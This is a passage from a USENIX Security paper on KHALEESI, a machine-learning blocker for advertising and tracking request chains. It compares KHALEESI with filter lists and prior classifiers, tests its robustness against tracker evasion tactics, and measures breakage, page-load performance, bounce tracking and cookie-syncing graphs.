page crawl. Specifically, 51.32% of the advertising and track-
ing requests navigate to new domains in the homepage crawl
as compared to the interactive crawls where cookies were
allowed (47.49%), where cookies were blocked (35.59%),
and where we spoofed Safari (35.41%). Third, non adver-
tising and non tracking URLs are shorter in the homepage
crawl. Specifically, the lengths of non advertising and non
tracking URL in the interactive crawls are between around
16 to 25 characters longer than the homepage crawl. Fourth,
cookie-related features are also different between the stock
and cookie blocking configurations. Specifically, there are
an average of 2.68 cookies per advertising and tracking re-
quest in the homepage crawl (which does not block third-party
cookies) compared to 0.37 cookies for the configurations that
block third-party cookies. In the latter case, cookies can only
be set and retrieved in the first-party context.

The webmail configuration has several important differ-
ences compared to the web crawls. First, the chains in the
webmail configuration are 50.90% smaller than the homepage
crawl. Second, the content embedded in webmail is almost
exclusively images (i.e., 99.99% of requests), whereas only
59.03% of requests in the homepage crawl are for images.
Third, 301 redirects are much more common in the webmail
dataset. Specifically, 301 redirects are initiated by 25.59%
requests in the webmail configuration, and are almost nonex-
istent in other configurations (e.g., only 0.48% of requests in
the homepage configuration initiate 301 redirects).

Configuration Recall Precision Accuracy

Cookies allowed (int.) 95.59% 94.78% 94.44%
Cookies blocked (int.) 94.90% 92.00% 92.60%
Spoofed Safari (int.) 94.26% 92.16% 92.77%
Webmail (no JS) 81.11% 97.33% 80.57%

Table 4: KHALEESI’s accuracy in detection advertising and
tracking request chains when trained on the homepage crawl
configuration and tested on a different configuration.

KHALEESI vs. filter lists. Since our ground truth is im-
perfect, we analyze disagreements between KHALEESI and
filter lists using the following heuristics inspired from prior
work [49]. We check whether the URL contains any of the
usual advertising and tracking keywords, such as rtb, track-
ing, and adsbygoogle. We also check whether a small track-
ing pixel (i.e., less than 5x5 pixels) is loaded. We apply this
heuristic to the disagreements that occurred while testing with
the homepage configuration classifier (Table 4). We find that
many of the KHALEESI’s “mistakes” are in fact mistakes in
the ground truth. Overall, KHALEESI’s accuracy improves by
0.78% for the non-interactive homepage crawl, 1.26% for the
interactive crawl that does not block cookies, 1.75% for the
interactive crawl that blocks cookies, 1.53% for the interactive
crawl where Safari is spoofed, and 17.08% for webmail crawl
as compared to the original accuracy, computed with filter
lists as reference in Table 4.

We note that EasyList and EasyPrivacy recently (June’21,
i.e., approximately a year after the initial experiments) added
43 of the domains earlier detected as advertising/tracking
by KHALEESI. Some examples include sync.taboola.c
om, siteintercept.qualtrics.com, s0.2mdn.net, and lo

g.popin.cc. To our surprise, we notice that some of these
domains are popular advertising services which should have
been blocked by EasyList and EasyPrivacy. We further no-
tice that the parent domains of some of these advertising
services are already blocked by filter lists on some websites.
For example, all resources from taboola.com are blocked
on independent.co.uk, scoopwhoop.com and technobuff

alo.com. We surmise that the filter lists take a conservative
approach and avoid creating generic rules to block top level
domains to mitigate breakage. Moreover, we find that the
several of the KHALEESI’s detected domains are still cur-
rently unblocked by EasyList and EasyPrivacy. Notable ex-
amples include mediaiqdigital.com, quantumdex.io, and
intentiq.com. It is noteworthy that KHALEESI also misclas-
sifies some functional requests as advertising and tracking.
KHALEESI generally makes mistakes when functional request
features are similar to advertising/tracking request features.
For example, KHALEESI mistakenly detects a thumbnail im-
age served from a CDN (cdn.neighbourly.co.nz) as ad/-
tracking because of its similarity to tracking pixels.

Overall, as compared to filter lists, KHALEESI blocks a

2918    31st USENIX Security Symposium USENIX Association



total of 2,326 more tracking requests, corresponding to 1,634
request chains on 1,284 websites. The additional requests
blocked by Khaleesi are to 1,259 distinct advertising/tracking
domains, including taboola.com and intentiq.com, which
are present on 26,096 chains and 6,602 websites.

4.2 Baseline Comparison

Next, we compare KHALEESI’s classification accuracy with
other machine learning approaches that are proposed in prior
research and implemented in browsers. Specifically, we com-
pare KHALEESI with an ML based approach by Bhagavatula
et al. [28] (called BD+) that analyzes each request individu-
ally, Safari’s Intelligent Tracking Prevention (ITP) [74] that
analyzes request-response pairs, and WebGraph [63] a recent
graph-based ML approach that analyzes structural proper-
ties of requests. Our goal is to highlight the marginal ben-
efit of capitalizing on the full sequential context available
in request chains. We also compare KHALEESI with an ML
based approach by Papadopoulos et al. [58] (called CON-
RAD) that specializes in detecting cookie syncing events by
analyzing individual requests. Our goal with this comparison
is to determine whether a specialized cookie syncing detection
approach generalizes to detect all advertising and tracking
request chains. Table 5 reports the accuracy of BD+, ITP, We-
bGraph, and CONRAD in detecting advertising and tracking
request chains.

Configuration Recall Precision Accuracy

BD
+

[2
8]

Cookies allowed (home.) 93.68% 89.58% 89.72%
Cookies allowed (int.) 87.24% 76.3% 77.09%
Cookies blocked (int.) 88.84% 77.54% 79.54%
Spoofed Safari (int.) 88.76% 73.56% 77.34%
Webmail (no JS) 8.52% 95.64% 15.46%

IT
P

[7
4]

Cookies allowed (home.) 97.43% 58.44% 58.56%
Cookies allowed (int.) 98.00% 58.58% 59.02%
Cookies blocked (int.) 97.68% 56.76% 57.44%
Spoofed Safari (int.) 97.82% 54.05% 55.18%
Webmail (no JS) 100% 86.40% 86.40%

W
eb

G
ra

ph
[6

3] Cookies allowed (home.) 42.31% 74.24% 68.32%
Cookies allowed (int.) 12.97% 49.13% 42.48%
Cookies blocked (int.) 16.75% 65.96% 42.93%
Spoofed Safari (int.) 16.04% 59.46% 44.04%
Webmail (no JS) – – –

C
O

N
R

A
D

[5
8] Cookies allowed (home.) 95.78% 95.75% 95.12%

Cookies allowed (int.) 91.93% 92.74% 91.23%
Cookies blocked (int.) 78.66% 82.14% 78.61%
Spoofed Safari (int.) 77.77% 77.74% 76.63%
Webmail (no JS) 96.24% 97.51% 94.36%

Table 5: BD+, ITP, WebGraph, and CONRAD’s classification
accuracy in detecting advertising and tracking request chains
across different datasets.

Comparison with BD+ [28]. We use the best perform-
ing k-Nearest Neighbors (kNN) ML classifier called BD+
by Bhagavatula et al. [28] (see § 2.2 for details). For a fair
comparison, we train BD+ on the same set of top-10K web-
sites as used to train KHALEESI. Further, we consider the
offline setting for BD+, where features are computed at the
end of page load, as opposed to the online setting used by
KHALEESI, where features are computed on the fly as the
page is being loaded.3 We again use 10-fold cross validation
to compute the accuracy of the classifier. As compared to
KHALEESI, BD+ achieves 5.19% less recall, 9.18% less pre-
cision, and 8.91% less accuracy. Table 5 shows that the trend
holds for the interactive, cookie blocking, spoofed Safari, and
webmail configurations. The lack of sequential context makes
it challenging for such request-based approaches to accurately
detect advertising and tracking chains. For example, Listing 1
provides an advertising and tracking request chain that ap-
pears to be cookie syncing, but is missed by BD+ because
it does not use the response and sequence information in its
detection. KHALEESI is able to successfully capture the ap-
pearance of cookie syncing in the request chain and correctly
detects it as advertising and tracking.

1 /* 1st request and response pair */

2 URL: sync.republer.com/match?dsp=sape&qset=1

3 Cookie: 88661a5f-2d71-4780-95af-e9d2edd1eebb

4 Location: sync.bumlam.com/?src=rp1&uid=

5 88661a5f-2d71-4780-95af-e9d2edd1eebb

6

7 /* 2nd request and response pair */

8 URL: sync.bumlam.com/?src=rp1&uid=

9 88661a5f-2d71-4780-95af-e9d2edd1eebb

10 Location: sync3.adsniper.ru/?src=ss1&s_data=

11 CAEQABjikM32BV....ZDFlZWJi

12 ........

13 /* 4th request and response pair */

14 URL: sync3.adsniper.ru/?src=ss1&s_data=

15 CAIQARjikM32BVIEioaQK2Ik....gkNw**

16 Location: sync.bumlam.com/?src=rp1&s_data=

17 CAIQARjikM32BVIEioaQK2Ik....gkNw**

18 ........

Listing 1: A request chain that appears to be cookie syncing
missed by the request based approach used by BD+ [28]. The
shared identifiers are highlighted in red.

Comparison with ITP [74]. We use ITP’s SVM classifier
that is shipped in the production Safari web browser [74] (see
§ 2.2 for details).4 We test ITP on the request chains extracted
from top-10K websites. We find that ITP suffers from a lot
of false positives – with only 58.44% precision. ITP achieves
1.44% less recall, 40.32% less precision, and 40.07% less
overall accuracy as compared to KHALEESI. Table 5 shows
that the trends hold for interactive stock, cookie blocking,
spoofed Safari, and webmail configurations. Note that Sa-
fari uses ITP’s detections only to purge storage and does not

3Note that the offline setting puts BD+ in an advantageous position
because post-hoc feature computation uses additional information that is not
otherwise available in the online setting.

4All versions of the ITP use the same classifier released with the initial
version 1.0.
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block ads and trackers. Thus, ITP does not cause excessive
website breakage as it would if it was used to outright block re-
quests. The lack of comprehensive sequential context makes it
challenging for such request-response based approaches to ac-
curately detect advertising and tracking chains. For example,
Listing 2 provides an example of a request chain that appears
to be used for authentication, but is incorrectly detected by
ITP as advertising and tracking due to over-generalization on
partial sequential context. Note that the KHALEESI is able
to successfully capture the non-advertising and non-tracking
signal, i.e. the absence of shared identifiers, in the request
chain and detects it as a functional.

1 /* 1st request and response pair */

2 URL: adobe.sharepoint.com/_forms/default.aspx?

3 ReturnUrl=/_layouts/15/Authenticate

4 .aspx?Source%2F&Source=cookie

5 Cookie: RpsContextCookie=U291cmNlPSUyRg==

6 Location: login.windows.net:443/fa7b1b5a-7b34-

7 4387-94ae-d2c178decee1/oauth2/authorize

8 ?client_id=00000003-0000-0ff1-ce00-0000

9 ...

10 &redirect_uri=adobe.sharepoint.com....

11 ........

Listing 2: A request chain that appears to be authentication
related. It is incorrectly classified as advertising and tracking
by ITP.

Comparison with WebGraph [63]. We also compare
KHALEESI with WebGraph [63] (see § 2.2 for a high-level
comparison of WebGraph and KHALEESI). For a fair compari-
son, we train WebGraph’s random forest classifier on the same
set of top-10K websites as used to train KHALEESI. We use
10-fold cross validation to compute the accuracy of the classi-
fier. We find that WebGraph suffers from a lot of false nega-
tives – with only 42.31% recall. As compared to KHALEESI,
WebGraph achieves 56.56% less recall, 24.52% less preci-
sion, and 30.31% less accuracy. Table 5 shows that the trend
holds for the interactive, cookie blocking, and spoofed Safari
configurations.5

WebGraph performs worse because it is designed to capture
a wide variety of advertising and tracking patterns that over-
shadow the patterns specifically implemented through request
chains. For example, Number of requests sent by node

and Average degree connectivity of node are two of
the most important features of WebGraph; however, they dis-
proportionately impact the detection of HTTP request chains.
Specifically, in WebGraph’s representation, nodes correspond-
ing to HTTP request chains have lower values for these fea-
tures because each node is only connected to the prior and
the next node in a sequence, forming a chain like structure.
Whereas, nodes corresponding to JavaScript request chains
have higher values for these features because all originating

5We were only able to test 150 randomly selected websites due to Web-
Graph’s significant performance overhead. WebGraph’s open-sourced code
took several hours and more than 300 GB of memory on 50 processor cores
to process these websites, for each configuration. We could not evaluate
Webmail crawl because its schema is not compatible with WebGraph’s code.

requests from a script are connected to one script node, form-
ing a start like structure. These differences are reflected in
its classification results, WebGraph achieves an accuracy of
85.40% (on par with the reported accuracy in the paper [63])
for JavaScript request chains but only 22.18% for HTTP re-
quest chains.

Comparison with CONRAD [58]. We implement the de-
cision tree ML classifier called CONRAD by Papadopoulos
et al. [58] (see § 2.2 for details). For a fair comparison, we
train the decision tree classifier on the same set of top-10K
websites as used to train KHALEESI. However, we do not
consider the Browser and TypeOfEntity features used in the
original classifier. We ignore the Browser feature because
we only rely on one browser to collect the data. We ignore
the TypeOfEntity feature because it relies on labels from the
disconnect tracking prevention list [7], which is essentially
the same as using ground truth as a feature. We use 10-fold
cross validation to compute the accuracy of the classifier.

As compared to KHALEESI, CONRAD achieves 3.09%
less recall, 3.01% less precision, and 3.51% less accuracy.
Table 5 shows that the trend holds for the interactive, cookie
blocking, spoofed Safari, and webmail configurations. For
webmail configuration, CONRAD performs better as com-
pared to KHALEESI. CONRAD’s high accuracy comes from
its reliance on domain and URL parameter names as features.
Specifically, the top performing features include whether the
requests are going to popular advertisers and trackers, such as
doubleclick.net and fbcdn.net and whether the URL em-
beds parameters commonly used by advertisers and trackers,
such as id and uid. However, relying on hard coded values
makes the classifier overfit and susceptible to evasion attacks
(see § 4.3.2 for details). For example, Listing 3 provides an
advertising and tracking request chain from luxup.ru, a less
known advertising service, which appears to engage in cookie
syncing but it is missed by CONRAD. KHALEESI is able to
successfully capture the appearance of cookie syncing signal
in the request chain and correctly detects it as advertising and
tracking.

1 /* 1st request and response pair */

2 URL: luxup.ru/tr/22710/&r=&t=1590939122591

3 Location: adlmerge.com/md/?mdback=luxup.ru/tr/22710/

4 &r=&t=1590939122591

5

6 /* 2nd request and response pair */

7 URL: adlmerge.com/md/?mdback=luxup.ru/tr/22710/

8 &r=&t=1590939122591

9 Set-Cookie: __LXGUID=6833031521866537697

10 Location: luxup.ru/tr/22710/&r=&t=1590939122591

11 &md=6833031521866537697

12 ........

Listing 3: A request chain from a lesser known advertiser
that appears to be cookie syncing. This chain is missed
by CONRAD [58] because of CONRAD’s reliance on
popular domain and parameter names as features. The shared
identifiers are highlighted in red.

Overall, the comparison with prior approaches, which do

2920    31st USENIX Security Symposium USENIX Association



not or only partially use sequential context, demonstrates the
importance of leveraging the full sequential context for accu-
rate detection of advertising and tracking request chains.

4.3 Robustness Analysis
Next, we evaluate KHALEESI’s classification accuracy over
time and its robustness against evasion.

4.3.1 Classification accuracy over time

Machine learning models are prone to lose their effectiveness
over time. Specifically, the underlying data distributions on
which the model is trained change over time, in unforeseen
ways, making predictions less accurate as the time passes [66].
KHALEESI tries to slow down the degradation by learning on
fundamental properties of request chains, i.e., their sequen-
tial context, and by avoiding frequently changing variables
such as domain names. Learning on sequential context makes
KHALEESI’s machine learning model generalizable, which
can adapt to new, previously unseen, request chains because
they will have the same distribution as the request chains that
were used to train the initial model. To evaluate KHALEESI’s
accuracy over time, we test it on a new data set crawled in
April 2021, i.e., 8 months after the initial crawl on which the
model was trained. The results show that KHALEESI achieves
an accuracy of 94.07% with a recall of 97.26% and a preci-
sion of 93.11% in detecting advertising and tracking request
chains. We note that the accuracy only drops by 4.56%, re-
call by 1.61%, and precision by 5.65% due to the drift in the
request chain distributions over time.

Over 8 months, we note few changes in distribution of ad-
vertising and tracking requests. The most significant changes
are in number of advertising and tracking keywords in re-
quests and the number of XMLHttpRequests, which increase
by 6.45% and 6.37%, respectively. We also note that the ad-
vertising and tracking requests contains 0.63% less cook-
ies on average. The increase in number of advertising and
tracking keywords and XMLHttpRequests, coupled with de-
crease in cookies, perhaps indicates a increasing trend towards
usage of alternative tracking mechanisms, e.g., fingerprint-
ing, triggered by third party cookie blocking by main-stream
browsers [5, 68]. We conclude that, to keep the accuracy con-
sistent over time, the model must be fine-tuned continuously,
which might include adding features to capture new patterns
or removing features that capture inconsistent patterns.

4.3.2 Robustness against evasions

Due to the countermeasures against cross-site tracking by
main-stream browsers, such as Safari [68] and Firefox [6],
trackers are increasingly relying on evasive tactics to circum-
vent the deployed countermeasures. Prior research has shown
that the URL-based ad and tracker detection approaches are

vulnerable to domain rotation and URL path randomization
[22, 67]. Since KHALEESI also relies on request properties,
in addition to response and sequential properties, we evaluate
its robustness against real world domain rotation and URL
randomization attacks and as well as hypothetical response
and sequence manipulation attacks. Specifically, we evaluate
KHALEESI against real-world domain rotation [35, 77] and
CNAME cloaking [60] attacks and hypothetical query string
manipulation, response header removal, and chain shortening
attacks. We describe these evasion attacks below:

1. Domain rotation involves randomizing the label that is
followed by the effective Top Level Domain (eTLD), e.g.,
example.com, example is the label and com is the eTLD.

2. CNAME cloaking involves switching the third party’s
eTLD+1 to the first party’s eTLD+1, along with the addi-
tion of the third party’s label as a sub domain.

3. Query string manipulation involves the randomization,
removal, and MD5 hashing of parameter name-value pairs.

4. Response header removal involves the removal of the
ETag and P3P headers from the response.

5. Chain shortening involves the random truncation of re-
quest chains by 50–70%.

To launch these attacks, we randomly select 100 adver-
saries from the top 20% of the most common advertising and
tracking third parties, which account for 16.35% of all the
chains in our data set, i.e., the cookies allowed homepage con-
figuration. Our selection includes prominent advertisers and
trackers, such as Criteo and PubMatic. Further, to provide a
relative perspective, we compare KHALEESI robustness with
CONRAD [58] and BD+ [28], i.e., two of the best performing
approaches from § 4.2.6

Table 6 presents the adversaries’ success rate against
KHALEESI, CONRAD, and, BD+ with different evasion at-
tacks. Success rate is defined as the percentage of classi-
fication switches from advertising and tracking to non ad-
vertising and non tracking. In case of KHALEESI, we note
that the adversaries are able to evade KHALEESI between
1.31–13.85% of the time. Whereas, in case of CONRAD and
BD+, the adversaries are able to evade the classifier between
8.57–9.71% and 10.41–21.51% of the time, respectively. It is
noteworthy that KHALEESI is much more robust as compared
to CONRAD and BD+ for all of the evasion attacks, except
for CNAME cloaking as compared to CONRAD, where the
adversaries are able to switch 4.35% more instances from
advertising and tracking to non advertising and non tracking.

We note that KHALEESI is not solely reliant on any of the
request, response, or sequential features and instead its robust-
ness, against adversarial evasion comes from complementary

6Response header removal and chain shortening attacks are not applicable
to CONRAD and BD+ because they do not use response headers, other than
the status code, and sequential context of request chains.
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Evasion attack KHALEESI CONRAD [58] BD+ [28]

Domain rotation 1.75% 8.57% 10.41%
CNAME cloaking 13.85% 9.50% 21.51%
QS manipulation 3.94% 9.71% 11.67%
Response removal 1.67% – –
Chains shortening 1.31% – –

Table 6: Evasion rate against KHALEESI, CONRAD, & BD+.

accuracy gained from request, response, and sequential fea-
tures. Specifically, we note that request, response, and sequen-
tial features alone provide an accuracy of 98.69%, 91.94%,
and 93.11%, respectively. In contrast, CONRAD has a strong
reliance on domain and URL parameter names as features.
We note that domain and URL parameter names alone pro-
vide an accuracy of 93.51%, while their exclusion provides
an accuracy of only 82.32%.

Overall, we acknowledge that KHALEESI is not fool-proof
against an adversary that can manipulate most of its features
simultaneously (see § 6 for more details). We conclude that
KHALEESI is fairly robust against adversarial evasions.

4.4 Feature Analysis
To shed light into KHALEESI’s inner workings, we analyze
a few of the most important features, with high information
gain [59] across sequential, response, and request feature cat-
egories. These features are the most helpful for KHALEESI
in distinguishing advertising and tracking requests from non-
advertising and non-tracking requests in the request chains.

Probability of previous prediction. The probability that
the previous prediction was advertising and tracking cap-
tures the information capitalized by KHALEESI as the chains
grow longer in length. Intuitively, using the prior probability
helps KHALEESI make a better determination. For example,
if KHALEESI is moderately confident that the request will
load an ad or a tracker, it can reaffirm that by leveraging the
confidence from its prior prediction. Figure 2a plots the distri-
bution of the probability of previous prediction. We note that
85.47% of the non-advertising and non-tracking requests have
less than 25% probability of being an ad or a tracker. Whereas,
93.74% of the advertising and tracking requests have greater
than 25% probability in being an ad or a tracker.

P3P in response header. P3P (Platform for Privacy Pref-
erences) was a W3C standard that allowed websites to convey
their privacy policies in a standardized format [14]. Internet
Explorer by default rejected third-party cookies in the first-
party context unless the cookie usage was specified by a P3P
header. P3P was implemented by Internet Explorer, Edge, and
Mozilla [1, 53] as well as supported by thousands of domains
at one point [36]. Currently, no modern browser supports P3P;
only some older versions of Internet Explorer have support
P3P. Despite this, we find that many third parties still use P3P
as the HTTP response header to specify their cookie usage

(a) Probability of previ-
ous prediction.

(b) P3P is response
header.

(c) Length of URL.

Figure 2: Distribution of top sequential, response, and request
features. AT refers to advertising and tracking requests and
NON-AT refers to non advertising and non tracking requests.

policy. Figure 2b shows the prevalence of P3P headers in
request chains. It can be seen from the figure that 90.99% of
advertising and tracking responses have a P3P header as com-
pared to only 9.01% of the non-advertising and non-tracking
responses.

URL length. Advertisers and trackers collect sensitive in-
formation from users’ devices and share it with others as URL
query strings. This so-called link decoration is increasingly
being used to bypass privacy protections against third party
cookies [71–73]. As can be seen in Figure 2c, this informa-
tion sharing leads to longer URLs for advertising and tracking
requests. 38.78% of advertising and tracking URLs are longer
than 200 characters, while only 7.79% of the non-advertising
and non-tracking URLs are longer than 200 characters.

4.5 Breakage Analysis
Content blocking tools are prone to website breakage be-
cause of incorrect blockage of functional resources or their
dependence on advertising and tracking resources. To be us-
able in the real-world, KHALEESI’ breakage must be on par
with existing content blocking tools such as Adblock Plus [2].
Therefore, we evaluate and compare KHALEESI’s breakage
with Adblock Plus7 on popular websites. We manually quan-
tify website breakage on a random sample of 100 websites
from top-1K list by conducting common browsing actions
such as reading articles, adding products to carts, and opening
sub pages of a website. We open each website using stock
Firefox as a control and with Adblock Plus and KHALEESI
as treatments. We open three browser instances side by side,
analyze the website functionality on each of them, and assign
one of the following labels:

1. Major: The core functionality of the website is broken
and the user cannot fulfill their objective. For example, the
user is unable to submit a form or book a flight.

2. Minor: The non-core functionality of the website is bro-
ken but the user is able to fulfill their objective. For exam-
ple, some icons or images are missing on the webpage.

7We configure Adblock plus with the same filter lists, i.e., EasyList [8]
and EasyPrivacy [9], on which KHALEESI was trained.
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3. None: The experience is similar across control and treat-
ments.

Tool None Minor Major
# % # % # %

KHALEESI 90.0 93.8 3.5 3.6 2.5 2.6
Adblock Plus 90.5 94.3 3.0 3.1 2.5 2.6

Table 7: Average breakage assessment of 2 reviewers.

To mitigate potential bias and subjectivity in manual break-
age analysis and avoid any inconsistencies due to dynamic
content, we asked two reviewers to independently analyze the
test websites at the same time. The two reviewers achieved
a high 94.79% agreement in their breakage determinations.
Table 7 presents the averaged breakage results8. We note that,
KHALEESI and Adblock Plus cause no breakage on 93.8%
and 94.3% of the tested sites, respectively. Both cause ma-
jor breakage on the same 2.6% of the sites. Only in one
instance, KHALEESI misclassified and blocked a request to
intercomcdn.com, leading to a minor breakage (missing chat
button) on the website.

Authentication & Purchase Scenarios. Since request
chains are widely used in authentication and purchase flows,
we manually evaluate KHALEESI’s breakage in these scenar-
ios. We analyze both same-site and cross-site scenarios. To
test same-site authentication flows, we attempt to log into
Facebook, Amazon, and Twitter. Similarly, to evaluate cross-
site authentication flows, we attempt to log into NYTimes and
EBay using 3 popular federated identity providers (Google,
Facebook, Apple). To test purchase flows, we log into Ama-
zon, search for a product, add it to the cart, and make an actual
purchase.

We are able to successfully complete authentication
and purchase flows when using KHALEESI. Specifically,
KHALEESI only blocked advertising and tracking resources
on the tested websites and did not break any login and pur-
chase flows. Note that authentication and purchase flows
cannot be automatically tested at scale. Specifically, testing
large-scale authentication scenarios require the availability
of login/payment credentials for a large number of online
services. Further, automated login and purchase flows often
trigger CAPTCHAs that cannot be trivially bypassed.

We conclude that KHALEESI’s breakage is on par with
Adblock Plus for regular browsing sessions and it does not
break any authentication and purchase flows.

4.6 Performance
Ad and tracker blocking tools generally improve the page
load time by blocking content; however, at the same time,

8Out of the 100 websites, 5 websites failed to load in both control and
treatments, so we exclude them from our analysis.

they also incur performance overhead. In traditional filter list
based ad and tracker blocking tools, overheads are incurred
in matching requests against filter lists and removing content
from DOM. In ML based ad and tracker blockers, there are
overheads to extract features and use the model to classify
requests. As we show next, KHALEESI incurs overheads but
improves the performance, significantly more, as compared
to other ad and tracker blocking tools.

KHALEESI’s performant implementation. We imple-
ment KHALEESI as a browser extension by extending the open
source implementation of Adblock Plus [3]. Since KHALEESI
is designed to only block advertising and tracking request
chains, we complement KHALEESI with EasyList [8] and
EasyPrivacy [9] for blocking non-request-chain based ads
and trackers. Specifically, request chains are routed through
KHALEESI and non-request-chain based requests are routed
through filter lists. We create a lightweight in-memory repre-
sentation of request chains and extract features from requests
in a streaming fashion, before they leave the browser, and
response headers, before even the whole response is received
and parsed by the browser. Extracting features from response
headers, before they are parsed, allows us to save time by
avoiding the need to wait for their parsing and rendering.
Moreover, we flush the in-memory representation when the
browser navigates to another page. For network layer request
chains, however, we flush the in-memory representation as
soon as we block them or they return a non-redirect response.

KHALEESI’s performance comparison. We quantify
KHALEESI’s overheads and performance improvements by
comparing it against stock Firefox and Firefox with Adblock
Plus.9 We use a standard desktop machine with Windows 10
OS, 16GB of RAM, and an i7 processor. We also simulate
consistent network conditions by setting the bandwidth to 15
Mbps with a latency of 100 ms. We measure the page load
time10, averaged over five runs for each website, on Alexa
top-500 websites. Figure 3 shows KHALEESI’s page load
time as compared to stock Firefox and Adblock Plus and as
well as the Adblock Plus’s performance against stock Firefox
configuration. As compared to stock Firefox, we find that
KHALEESI improves the page load time on 91.26% of the
websites. KHALEESI’s improvements over stock Firefox are
due to blocking advertising and tracking content, which re-
sults in less network requests and less rendering. As compared
to Adblock Plus, we find that the KHALEESI improves the
page load time on 59.82% of the websites. The performance
gains over Adblock Plus highlight KHALEESI’s added benefit
of blocking advertising and tracking request chains. Thus, we
conclude that KHALEESI’s improved accuracy outweighs its
minor feature extraction and classification overheads, making
it suitable for a performant online deployment.

9We disable Firefox’s Enhanced Tracking Protection (ETP) and configure
Adblock Plus with EasyList [8] and EasyPrivacy [9].

10Page load time is measured as a difference between navigationStart

and loadEventEnd events of the Performance API.
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Figure 3: KHALEESI’s overhead in terms of page load time.

5 Discussion

In this section, we analyze KHALEESI’s findings to shed
light into the online information sharing ecosystem through
graph analysis and case studies emerging use cases of request
chains.

5.1 Request Chain Graph
Next, we build the request chain graph to understand bilateral
information sharing relationships between different entities.
To this end, we construct a graph such that the nodes repre-
sent domains and the edges represent consecutive domains
in request chains. Note that edges are directed and weighted:
the source/destination of the directed edge represents the
source/destination in the redirect and the edge weight repre-
sents the frequency of their co-occurrence.11 Also, the size of
a node is proportional to its degree and the color represents
degree ratio—ratio of in-degree and out-degree—red/blue
represents higher/lower in-degree as compared to out-degree.
Note that for the node colors, darker shades of either blue or
red mean higher asymmetry and lighter shades mean higher
symmetry.

Figure 4(a) plots the largest strongly connected component
(LSCC) of the request chain graph constructed using the first
crawl configuration (cookies allowed (homepage)). The nodes
with higher/lower degree ratios (in shades of red/blue) are des-
tinations/sources of redirects. We note that the destinations of
most of the redirects are typically well-known advertising and
tracking domains such as doubleclick.com and pubmatic.com.
In contrast, their sources typically include general-purposed
cloud providers such as cloudfront.net as well as tag manage-
ment services such as googletagmanager.com. This indicates
that advertising and tracking domains are generally the recip-
ients of tracking information from other domains.

Other SCCs (not shown in Figure 4) are much smaller

11For example, a request chain example1.com ! sub.example2.com ! ex-
ample3.com would be represented in a graph with 3 nodes (example1.com, ex-
ample2.com, example3.com) and 2 edges (example1.com ! example2.com,
example2.com ! example3.com).

in size (most of them with around 10 nodes or less).
We note that most of the nodes in these smaller SCCs
are mostly cliques of related domains (e.g., amazon.fr !
amazon.com, towardsdatascience.com ! medium.com) and
sometimes country-specific domains (e.g., admaster.com.cn,
reachmax.cn, yoyi.com.cn). Also not shown in Figure 4 are
self-loops, which mostly represent sub-domains which appear
to be trying to sync cookies with their parent domains (e.g.,
aliexpress.com, admicro.vn).

Figures 4(b) and (c) plot the LSCC of the request chain
graph after blocking using filter lists and KHALEESI, respec-
tively. It is evident that the request chain graph becomes sig-
nificantly more sparse when advertising and tracking requests
are blocked by either filter lists or KHALEESI. More specif-
ically, we note that both node sizes and number of edges
significantly reduce for filter lists or KHALEESI in Figures
4(b) and (c) as compared to no blocking in Figure 4(a). In
fact, some of the largest nodes in Figure 4(a) (e.g., rubiconpro-
ject.com) completely disappear in Figures 4(b) and (c). Com-
paring Figures 4(b) and (c), we note that even more nodes
(e.g., taboola.com) disappear and edges’ weights decrease go-
ing from filter lists to KHALEESI. In Figure 4(c), we observe
mostly smaller sized nodes in blue colors represent popular
cloud providers such as amazonaws.com and cloudfront.net.

No Blocking Filter lists KHALEESI

Average Clustering 0.03283 0.00214 0.00155
# of SCC 10221 9852 9732
# of Nodes in LSCC 865 83 52
Top Degree in LSCC 603 88 77

Table 8: Statistics of graphs in three configurations.

To further analyze these differences quantitatively, Table
8 lists a few key graph connectivity metrics based on cluster-
ing and connected components. These metrics quantitatively
demonstrate that redirect graphs progressively become more
fragmented as we go from no blocking to blocking with fil-
ter lists and KHALEESI. For example, the size of the LSCC
decreases by 10⇥ due to filter lists, and further decreases by
37% due to KHALEESI. We note a similar trend for other
reported metrics in Table 8.

In sum, our analysis shows that request chains enable
widespread information sharing between third-party adver-
tising and tracking domains. Both filter lists and KHALEESI
help mitigate this by degrading the graph connectivity. We
also conclude that KHALEESI is more effective than just filter
lists in mitigating the information sharing by advertising and
tracking request chains.

5.2 Analysis of Request Chains
We analyze use cases of request chains for advertising and
tracking.
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(a) No Blocking (b) Filter Lists (c) Khaleesi

Figure 4: Request chain graph of redirects between top-50 most popular domains.

Bounce tracking occurs in cookies blocked crawl config-
urations. Bounce tracking is fairly broadly defined [69], and
there are a number of different ways it can be achieved. For
example, a bounce tracker may directly redirect a tab to the
tracker’s webpage or it may rewrite links on the webpage,
such that when links are clicked, the webpage is redirected
to the tracker’s webpage. Further, the redirect may end on
the same or a different webpage. However, the end objec-
tive of bounce tracking still remains the same, i.e. it provides
cookie access to domains that are typically only loaded in the
third-party context (where cookie access may be blocked). To
measure bounce tracking, we create a fairly precise heuristic.
We consider third parties to be bounce trackers if they:

1. Start from the top-level main frame

2. Navigate to one or more third party webpages,

3. The navigated third party webpages set cookies, and

4. The third party webpage navigates back to the first party
webpage.

Since bounce tracking can only be conducted by network
level requests chains or JavaScript request chains originated
with window. location, we exclude other JavaScript request
chains for measuring bounce tracking in the first heuristic. Fur-
ther, we only investigate the cookies blocked configurations,
i.e. cookie blocked interactive and spoofed Safari interactive,
for bounce tracking because bounce tracking is a workaround
to bypass third-party cookie blocking.

Overall, we find 14 domains, across both cookie blocked
interactive and spoofed Safari interactive configurations, that
are classified as bounce tracking. Table 9, shows the top do-
main classified as bounce trackers. We find that two of the
domains classified as bounce trackers, i.e. adform.net and
flashtalking.com, provide purpose-built workarounds to
third party cookie blocking [4, 11]. For instance, Adform
claims to use a “universal ID based on a first party cookies” by
redirecting the users from their visited website to an interme-
diate website and redirecting them back to the visited website.
The two most popular domains classified as bounce trackers,
i.e. googleadservices.com and adsrvr.org, are services
that provide generic ad-tech solutions. queue-it.net is a

Top Domains Spoofed Safari Cookies blocked
# of websites # of websites

googleadservices.com 3073 1773
adsrvr.org 1377 1538
adform.net 322 -
flashtalking.com 141 -
queue-it.net 9 -
ojrq.net - 19
bngpt.com (NSFW) 2 5

Table 9: Top domains classified as bounce tracking across
the cookie blocked interactive and spoofed Safari interactive
configurations.

non-advertising and non-tracking service that provides queu-
ing services to control website traffic.

Request chains are widely used in cookie syncing. Table
10 shows the prevalence of cookie syncing detected using
CONRAD [58] across different crawl configurations.12 We
find that more than half of the request chains in most con-
figurations participate in cookie syncing. In fact, more than
